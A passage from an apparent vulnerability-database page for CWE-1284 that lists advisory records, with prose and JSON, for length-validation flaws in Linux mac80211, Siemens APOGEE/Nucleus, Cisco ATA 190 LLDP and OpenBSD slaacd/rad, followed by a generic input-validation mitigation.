  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GRWP-8243-XPJH

Vulnerability from github – Published: 2024-05-21 15:31 – Updated: 2025-04-30 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

mac80211: fix skb length check in ieee80211_scan_rx()

Replace hard-coded compile-time constants for header length check with dynamic determination based on the frame type. Otherwise, we hit a validation WARN_ON in cfg80211 later.

[style fixes, reword commit message]

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-47251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-21T15:15:14Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmac80211: fix skb length check in ieee80211_scan_rx()\n\nReplace hard-coded compile-time constants for header length check\nwith dynamic determination based on the frame type. Otherwise, we\nhit a validation WARN_ON in cfg80211 later.\n\n[style fixes, reword commit message]",
  "id": "GHSA-grwp-8243-xpjh",
  "modified": "2025-04-30T15:30:43Z",
  "published": "2024-05-21T15:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47251"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5a1cd67a801cf5ef989c4783e07b86a25b143126"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d1b949c70206178b12027f66edc088d40375b5cb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e298aa358f0ca658406d524b6639fe389cb6e11e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GWC7-J4MC-Q8FW

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2024-10-08 09:30
VLAI
Details

A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions), APOGEE PXC Compact (P2 Ethernet) (All versions), APOGEE PXC Modular (BACnet) (All versions), APOGEE PXC Modular (P2 Ethernet) (All versions), Capital VSTAR (All versions), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus ReadyStart V4 (All versions < V4.1.1), Nucleus Source Code (All versions), TALON TC Compact (BACnet) (All versions), TALON TC Modular (BACnet) (All versions). The total length of an ICMP payload (set in the IP header) is unchecked. This may lead to various side effects, including Information Leak and Denial-of-Service conditions, depending on the network buffer organization in memory. (FSMD-2021-0007)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-09T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions), APOGEE PXC Compact (P2 Ethernet) (All versions), APOGEE PXC Modular (BACnet) (All versions), APOGEE PXC Modular (P2 Ethernet) (All versions), Capital VSTAR (All versions), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions \u003c V2017.02.4), Nucleus ReadyStart V4 (All versions \u003c V4.1.1), Nucleus Source Code (All versions), TALON TC Compact (BACnet) (All versions), TALON TC Modular (BACnet) (All versions). The total length of an ICMP payload (set in the IP header) is unchecked. This may lead to various side effects, including Information Leak and Denial-of-Service conditions, depending on the network buffer organization in memory. (FSMD-2021-0007)",
  "id": "GHSA-gwc7-j4mc-q8fw",
  "modified": "2024-10-08T09:30:50Z",
  "published": "2022-05-24T19:20:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31346"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-044112.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-114589.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-223353.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-620288.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-845392.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-044112.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-114589.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-223353.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-620288.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-845392.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GX9F-QVH7-6MRG

Vulnerability from github – Published: 2022-12-12 09:30 – Updated: 2022-12-14 18:30
VLAI
Details

Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) functionality of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device and cause the LLDP service to restart. These vulnerabilities are due to missing length validation of certain LLDP packet header fields. An attacker could exploit these vulnerabilities by sending a malicious LLDP packet to an affected device. A successful exploit could allow the attacker to execute code on the affected device and cause LLDP to restart unexpectedly, resulting in a denial of service (DoS) condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-20686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-130",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) functionality of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device and cause the LLDP service to restart. These vulnerabilities are due to missing length validation of certain LLDP packet header fields. An attacker could exploit these vulnerabilities by sending a malicious LLDP packet to an affected device. A successful exploit could allow the attacker to execute code on the affected device and cause LLDP to restart unexpectedly, resulting in a denial of service (DoS) condition.",
  "id": "GHSA-gx9f-qvh7-6mrg",
  "modified": "2022-12-14T18:30:25Z",
  "published": "2022-12-12T09:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20686"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multivuln-GEZYVvs"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multivuln-GEZYVvs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H2GC-758G-276M

Vulnerability from github – Published: 2026-04-21 00:32 – Updated: 2026-04-21 00:32
VLAI
Details

In OpenBSD through 7.8, the slaacd and rad daemons have an infinite loop when they receive a crafted ICMPv6 Neighbor Discovery (ND) option (over a local network) with length zero, because of an "nd_opt_len * 8 - 2" expression with no preceding check for whether nd_opt_len is zero.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T00:16:29Z",
    "severity": "MODERATE"
  },
  "details": "In OpenBSD through 7.8, the slaacd and rad daemons have an infinite loop when they receive a crafted ICMPv6 Neighbor Discovery (ND) option (over a local network) with length zero, because of an \"nd_opt_len * 8 - 2\" expression with no preceding check for whether nd_opt_len is zero.",
  "id": "GHSA-h2gc-758g-276m",
  "modified": "2026-04-21T00:32:14Z",
  "published": "2026-04-21T00:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbsd/src/commit/086c5738bcd3c203bcc08d024fcf983cb409115f"
    },
    {
      "type": "WEB",
      "url": "https://www.openbsd.org/errata78.html"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc4861#section-4.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

No CAPEC attack patterns related to this CWE.